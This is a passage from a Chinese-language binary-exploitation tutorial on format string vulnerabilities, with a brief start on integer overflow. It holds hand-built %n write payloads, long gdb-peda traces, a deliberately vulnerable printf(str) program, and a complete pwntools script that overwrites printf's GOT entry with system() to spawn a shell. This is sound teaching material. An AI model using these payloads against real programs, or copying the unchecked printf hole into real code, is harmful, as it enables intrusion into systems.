占两个字节,即将地址赋值为 2
,中间是 %15$n
占 5 个字节,这里不是 %13$n
,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A
占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x38\xd5\xff\xff
,详细输出如下:
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
+0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
+0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd55c: 0x00004443 0x00000000 0x31254141 0x416e2435
+0xffffd56c: 0xffffd538 0xffffd500 0x00000001 0x000000c2
+gdb-peda$ finish
+Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x7
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+EIP: 0x8048520 (<main+138>: add esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048514 <main+126>: lea eax,[ebp-0x94]
+ 0x804851a <main+132>: push eax
+ 0x804851b <main+133>: call 0x8048350 <printf@plt>
+=> 0x8048520 <main+138>: add esp,0x20
+ 0x8048523 <main+141>: sub esp,0xc
+ 0x8048526 <main+144>: push 0xa
+ 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
+ 0x804852d <main+151>: add esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x2
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530: 0xffffd564 0x00000001 0x00000002 0xffffffff
+0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
+0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
+0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538
+0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240
+
+对比 printf()
函数执行前后的输出,可以看到我们成功地给 arg2
赋值了 0x00000002
。
说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:
+char c;
+short s;
+int i;
+long l;
+long long ll;
+
+printf("%s %hhn\n", str, &c); // 写入单字节
+printf("%s %hn\n", str, &s); // 写入双字节
+printf("%s %n\n", str, &i); // 写入4字节
+printf("%s %ln\n", str, &l); // 写入8字节
+printf("%s %lln\n", str, &ll); // 写入16字节
+
+试一下:
+$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
+0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff
+
+$ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
+0xffffd530: 0xffffd564 0x00000001 0x88880001 0xffffffff
+
+$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
+0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff
+
+于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 0x12345678
到地址 0xffffd538
,首先使用 AAAABBBBCCCCDDDD
作为输入:
gdb-peda$ r
+AAAABBBBCCCCDDDD
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
+0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
+0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd55c: 0x00004443 0x00000000 0x41414141 0x42424242
+0xffffd56c: 0x43434343 0x44444444 0x00000000 0x000000c2
+gdb-peda$ x/4wb 0xffffd538
+0xffffd538: 0x88 0x88 0x88 0x88
+
+由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):
+0xffffd564 -> 0x41414141 (0xffffd538) -> \x78
+0xffffd568 -> 0x42424242 (0xffffd539) -> \x56
+0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34
+0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12
+
+把 AAAA
、BBBB
、CCCC
、DDDD
占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下:
$ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text
+
+其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh
,所以只会保留一个字节 0x78
(16+104=120 -> 0x78)、0x56
(120+222=342 -> 0x0156 -> 0x56)、0x34
(342+222=564 -> 0x0234 -> 0x34)、0x12
(564+222=786 -> 0x312 -> 0x12)。执行结果如下:
$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+Starting program: /home/firmy/Desktop/RE4B/a.out < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0xf7e27c1b <fprintf+27>: ret
+ 0xf7e27c1c: xchg ax,ax
+ 0xf7e27c1e: xchg ax,ax
+=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
+ 0xf7e27c25 <printf+5>: add eax,0x16f243
+ 0xf7e27c2a <printf+10>: sub esp,0xc
+ 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
+ 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
+0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
+0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
+0xffffd55c: 0x00004443 0x00000000 0xffffd538 0xffffd539
+0xffffd56c: 0xffffd53a 0xffffd53b 0x34303125 0x33312563
+gdb-peda$ finish
+Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x312
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+EIP: 0x8048520 (<main+138>: add esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048514 <main+126>: lea eax,[ebp-0x94]
+ 0x804851a <main+132>: push eax
+ 0x804851b <main+133>: call 0x8048350 <printf@plt>
+=> 0x8048520 <main+138>: add esp,0x20
+ 0x8048523 <main+141>: sub esp,0xc
+ 0x8048526 <main+144>: push 0xa
+ 0x8048528 <main+146>: call 0x8048370 <putchar@plt>
+ 0x804852d <main+151>: add esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x12345678
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x12345678
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530: 0xffffd564 0x00000001 0x12345678 0xffffffff
+0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
+0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
+0xffffd560: 0x00000000 0xffffd538 0xffffd539 0xffffd53a
+0xffffd570: 0xffffd53b 0x34303125 0x33312563 0x6e686824
+
+最后还得强调两点:
+在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 RDI
、RSI
、RDX
、RCX
、R8
和 R9
传递;而在 Windows 中,前四个参数通过 RCX
、RDX
、R8
和 R9
来传递。
还是上面的程序,但是这次我们把它编译成 64 位:
+$ gcc -fno-stack-protector -no-pie fmt.c
+
+使用 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
作为输入:
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+RAX: 0x0
+RBX: 0x0
+RCX: 0xffffffff
+RDX: 0x88888888
+RSI: 0x1
+RDI: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+RBP: 0x7fffffffe460 --> 0x400660 (<__libc_csu_init>: push r15)
+RSP: 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+RIP: 0x400648 (<main+113>: call 0x4004e0 <printf@plt>)
+R8 : 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+R9 : 0xa ('\n')
+R10: 0x7ffff7dd4380 --> 0x7ffff7dd0640 --> 0x7ffff7b9ed3a --> 0x636d656d5f5f0043 ('C')
+R11: 0x246
+R12: 0x400500 (<_start>: xor ebp,ebp)
+R13: 0x7fffffffe540 --> 0x1
+R14: 0x0
+R15: 0x0
+EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x40063d <main+102>: mov r8,rdi
+ 0x400640 <main+105>: mov rdi,rax
+ 0x400643 <main+108>: mov eax,0x0
+=> 0x400648 <main+113>: call 0x4004e0 <printf@plt>
+ 0x40064d <main+118>: mov edi,0xa
+ 0x400652 <main+123>: call 0x4004d0 <putchar@plt>
+ 0x400657 <main+128>: nop
+ 0x400658 <main+129>: leave
+Guessed arguments:
+arg[0]: 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+arg[1]: 0x1
+arg[2]: 0x88888888
+arg[3]: 0xffffffff
+arg[4]: 0x7fffffffe3c6 --> 0x44434241 ('ABCD')
+[------------------------------------stack-------------------------------------]
+0000| 0x7fffffffe3c0 --> 0x4241000000000000 ('')
+0008| 0x7fffffffe3c8 --> 0x4443 ('CD')
+0016| 0x7fffffffe3d0 ("AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0024| 0x7fffffffe3d8 ("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.")
+0032| 0x7fffffffe3e0 (".%p.%p.%p.%p.%p.%p.%p.")
+0040| 0x7fffffffe3e8 ("p.%p.%p.%p.%p.")
+0048| 0x7fffffffe3f0 --> 0x2e70252e7025 ('%p.%p.')
+0056| 0x7fffffffe3f8 --> 0x1
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x0000000000400648 in main ()
+gdb-peda$ x/10g $rsp
+0x7fffffffe3c0: 0x4241000000000000 0x0000000000004443
+0x7fffffffe3d0: 0x4141414141414141 0x70252e70252e7025
+0x7fffffffe3e0: 0x252e70252e70252e 0x2e70252e70252e70
+0x7fffffffe3f0: 0x00002e70252e7025 0x0000000000000001
+0x7fffffffe400: 0x0000000000f0b5ff 0x00000000000000c2
+gdb-peda$ c
+Continuing.
+AAAAAAAA0x1.0x88888888.0xffffffff.0x7fffffffe3c6.0xa.0x4241000000000000.0x4443.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
+
+可以看到我们最后的输出中,前五个数字分别来自寄存器 RSI
、RDX
、RCX
、R8
和 R9
,后面的数字才取自栈,0x4141414141414141
在 %8$p
的位置。这里还有个地方要注意,我们前面说的 Linux 有 6 个寄存器用于传递参数,可是这里只输出了 5 个,原因是有一个寄存器 RDI
被用于传递格式字符串,可以从 gdb 中看到,arg[0]
就是由 RDI
传递的格式字符串。(现在你可以再回到 x86 的相关内容,可以看到在 x86 中格式字符串通过栈传递的,但是同样的也不会被打印出来)其他的操作和 x86 没有什么大的区别,只是这时我们就不能修改 arg2
的值了,因为它被存入了寄存器中。
文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html
+该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 FmtStr
和一个函数 fmtstr_payload
。
FmtStr
提供了自动化的字符串漏洞利用:
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
+
+fmtstr_payload
用于自动生成格式化字符串 paylod:
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
+
+我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):fmt.c fmt
+#include<stdio.h>
+void main() {
+ char str[1024];
+ while(1) {
+ memset(str, '\0', 1024);
+ read(0, str, 1024);
+ printf(str);
+ fflush(stdout);
+ }
+}
+
+为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定:
+# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -m32 -fno-stack-protector -no-pie fmt.c
+
+很明显,程序存在格式化字符串漏洞,我们的思路是将 printf()
函数的地址改成 system()
函数的地址,这样当我们再次输入 /bin/sh
时,就可以获得 shell 了。
第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 main
处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下:
gdb-peda$ b main
+...
+gdb-peda$ r
+...
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd1f0 ("AAAA\n")
+EBX: 0x804a000 --> 0x8049f10 --> 0x1
+ECX: 0xffffd1f0 ("AAAA\n")
+EDX: 0x400
+ESI: 0xf7f97000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
+EIP: 0x8048512 (<main+92>: call 0x8048370 <printf@plt>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048508 <main+82>: sub esp,0xc
+ 0x804850b <main+85>: lea eax,[ebp-0x408]
+ 0x8048511 <main+91>: push eax
+=> 0x8048512 <main+92>: call 0x8048370 <printf@plt>
+ 0x8048517 <main+97>: add esp,0x10
+ 0x804851a <main+100>: mov eax,DWORD PTR [ebx-0x4]
+ 0x8048520 <main+106>: mov eax,DWORD PTR [eax]
+ 0x8048522 <main+108>: sub esp,0xc
+Guessed arguments:
+arg[0]: 0xffffd1f0 ("AAAA\n")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n")
+0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n")
+0008| 0xffffd1e8 --> 0x400
+0012| 0xffffd1ec --> 0x80484d0 (<main+26>: add ebx,0x1b30)
+0016| 0xffffd1f0 ("AAAA\n")
+0020| 0xffffd1f4 --> 0xa ('\n')
+0024| 0xffffd1f8 --> 0x0
+0028| 0xffffd1fc --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048512 in main ()
+
+我们看到输入 printf()
的变量 arg[0]: 0xffffd1f0 ("AAAA\n")
在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。
读取重定位表获得 printf()
的 GOT 地址(第一列 Offset):
$ readelf -r a.out
+
+Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries:
+ Offset Info Type Sym.Value Sym. Name
+08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__
+08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
+
+Relocation section '.rel.plt' at offset 0x304 contains 5 entries:
+ Offset Info Type Sym.Value Sym. Name
+0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
+0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
+0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
+0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
+0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
+
+在 gdb 中获得 printf()
的虚拟地址:
gdb-peda$ p printf
+$1 = {<text variable, no debug info>} 0xf7e26bf0 <printf>
+
+获得 system()
的虚拟地址:
gdb-peda$ p system
+$1 = {<text variable, no debug info>} 0xf7e17060 <system>
+
+好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码:
+# -*- coding: utf-8 -*-
+from pwn import *
+
+elf = ELF('./a.out')
+r = process('./a.out')
+libc = ELF('/usr/lib32/libc.so.6')
+
+# 计算偏移量
+def exec_fmt(payload):
+ r.sendline(payload)
+ info = r.recv()
+ return info
+auto = FmtStr(exec_fmt)
+offset = auto.offset
+
+# 获得 printf 的 GOT 地址
+printf_got = elf.got['printf']
+log.success("printf_got => {}".format(hex(printf_got)))
+
+# 获得 printf 的虚拟地址
+payload = p32(printf_got) + '%{}$s'.format(offset)
+r.send(payload)
+printf_addr = u32(r.recv()[4:8])
+log.success("printf_addr => {}".format(hex(printf_addr)))
+
+# 获得 system 的虚拟地址
+system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
+log.success("system_addr => {}".format(hex(system_addr)))
+
+payload = fmtstr_payload(offset, {printf_got : system_addr})
+r.send(payload)
+r.send('/bin/sh')
+r.recv()
+r.interactive()
+$ python2 exp.py
+[*] '/home/firmy/Desktop/RE4B/a.out'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: No PIE (0x8048000)
+[+] Starting local process './a.out': pid 17375
+[*] '/usr/lib32/libc.so.6'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: Canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[*] Found format string offset: 4
+[+] printf_got => 0x804a010
+[+] printf_addr => 0xf7e26bf0
+[+] system_addr => 0xf7e17060
+[*] Switching to interactive mode
+$ echo "hacked!"
+hacked!
+
+这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。
+在 C 语言基础的章节中,我们介绍了 C 语言整数的基础知识,下面我们详细介绍整数的安全问题。
+由于整数在内存里面保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出。(x86-32 的数据模型是 ILP32,即整数(Int)、长整数(Long)和指针(Pointer)都是 32 位。)
+如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
+关于整数的异常情况主要有三种:
+OF
可检测有符号数的溢出0-1
时会变成最大的数,如 1 字节的无符号数会变为 255
,而 255+1
会变成最小数 0
。CF
可检测无符号数的回绕int i;
+i = INT_MAX; // 2 147 483 647
+i++;
+printf("i = %d\n", i); // i = -2 147 483 648
+
+i = INT_MIN; // -2 147 483 648
+i--;
+printf("i = %d\n", i); // i = 2 147 483 647
+
+涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。
+使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
+ +unsigned int ui;
+ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295
+ui++;
+printf("ui = %u\n", ui); // ui = 0
+ui = 0;
+ui--;
+printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295
+
+0xffffffff + 0x00000001
+= 0x0000000100000000 (long long)
+= 0x00000000 (long)
+
+0x00123456 * 0x00654321
+= 0x000007336BF94116 (long long)
+= 0x6BF94116 (long)
+
+整型提升是指当计算表达式中包含了不同宽度的操作数时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。
+示例:源码
+#include<stdio.h>
+void main() {
+ int l;
+ short s;
+ char c;
+
+ l = 0xabcddcba;
+ s = l;
+ c = l;
+
+ printf("宽度溢出\n");
+ printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
+ printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
+ printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
+
+ printf("整型提升\n");
+ printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
+}
+$ ./a.out
+宽度溢出
+l = 0xabcddcba (32 bits)
+s = 0xffffdcba (16 bits)
+c = 0xffffffba (8 bits)
+整型提升
+s + c = 0xffffdc74 (32 bits)
+
+使用 gdb 查看反汇编代码:
+gdb-peda$ disassemble main
+Dump of assembler code for function main:
+ 0x0000056d <+0>: lea ecx,[esp+0x4]
+ 0x00000571 <+4>: and esp,0xfffffff0
+ 0x00000574 <+7>: push DWORD PTR [ecx-0x4]
+ 0x00000577 <+10>: push ebp
+ 0x00000578 <+11>: mov ebp,esp
+ 0x0000057a <+13>: push ebx
+ 0x0000057b <+14>: push ecx
+ 0x0000057c <+15>: sub esp,0x10
+ 0x0000057f <+18>: call 0x470 <__x86.get_pc_thunk.bx>
+ 0x00000584 <+23>: add ebx,0x1a7c
+ 0x0000058a <+29>: mov DWORD PTR [ebp-0xc],0xabcddcba
+ 0x00000591 <+36>: mov eax,DWORD PTR [ebp-0xc]
+ 0x00000594 <+39>: mov WORD PTR [ebp-0xe],ax
+ 0x00000598 <+43>: mov eax,DWORD PTR [ebp-0xc]
+ 0x0000059b <+46>: mov BYTE PTR [ebp-0xf],al
+ 0x0000059e <+49>: sub esp,0xc
+ 0x000005a1 <+52>: lea eax,[ebx-0x1940]
+ 0x000005a7 <+58>: push eax
+ 0x000005a8 <+59>: call 0x400 <puts@plt>
+ 0x000005ad <+64>: add esp,0x10
+ 0x000005b0 <+67>: sub esp,0x4
+ 0x000005b3 <+70>: push 0x20
+ 0x000005b5 <+72>: push DWORD PTR [ebp-0xc]
+ 0x000005b8 <+75>: lea eax,[ebx-0x1933]
+ 0x000005be <+81>: push eax
+ 0x000005bf <+82>: call 0x3f0 <printf@plt>
+ 0x000005c4 <+87>: add esp,0x10
+ 0x000005c7 <+90>: movsx eax,WORD PTR [ebp-0xe]
+ 0x000005cb <+94>: sub esp,0x4
+ 0x000005ce <+97>: push 0x10
+ 0x000005d0 <+99>: push eax
+ 0x000005d1 <+100>: lea eax,[ebx-0x191f]
+ 0x000005d7 <+106>: push eax
+ 0x000005d8 <+107>: call 0x3f0 <printf@plt>
+ 0x000005dd <+112>: add esp,0x10
+ 0x000005e0 <+115>: movsx eax,BYTE PTR [ebp-0xf]
+ 0x000005e4 <+119>: sub esp,0x4
+ 0x000005e7 <+122>: push 0x8
+ 0x000005e9 <+124>: push eax
+ 0x000005ea <+125>: lea eax,[ebx-0x190b]
+ 0x000005f0 <+131>: push eax
+ 0x000005f1 <+132>: call 0x3f0 <printf@plt>
+ 0x000005f6 <+137>: add esp,0x10
+ 0x000005f9 <+140>: sub esp,0xc
+ 0x000005fc <+143>: lea eax,[ebx-0x18f7]
+ 0x00000602 <+149>: push eax
+ 0x00000603 <+150>: call 0x400 <puts@plt>
+ 0x00000608 <+155>: add esp,0x10
+ 0x0000060b <+158>: movsx edx,WORD PTR [ebp-0xe]
+ 0x0000060f <+162>: movsx eax,BYTE PTR [ebp-0xf]
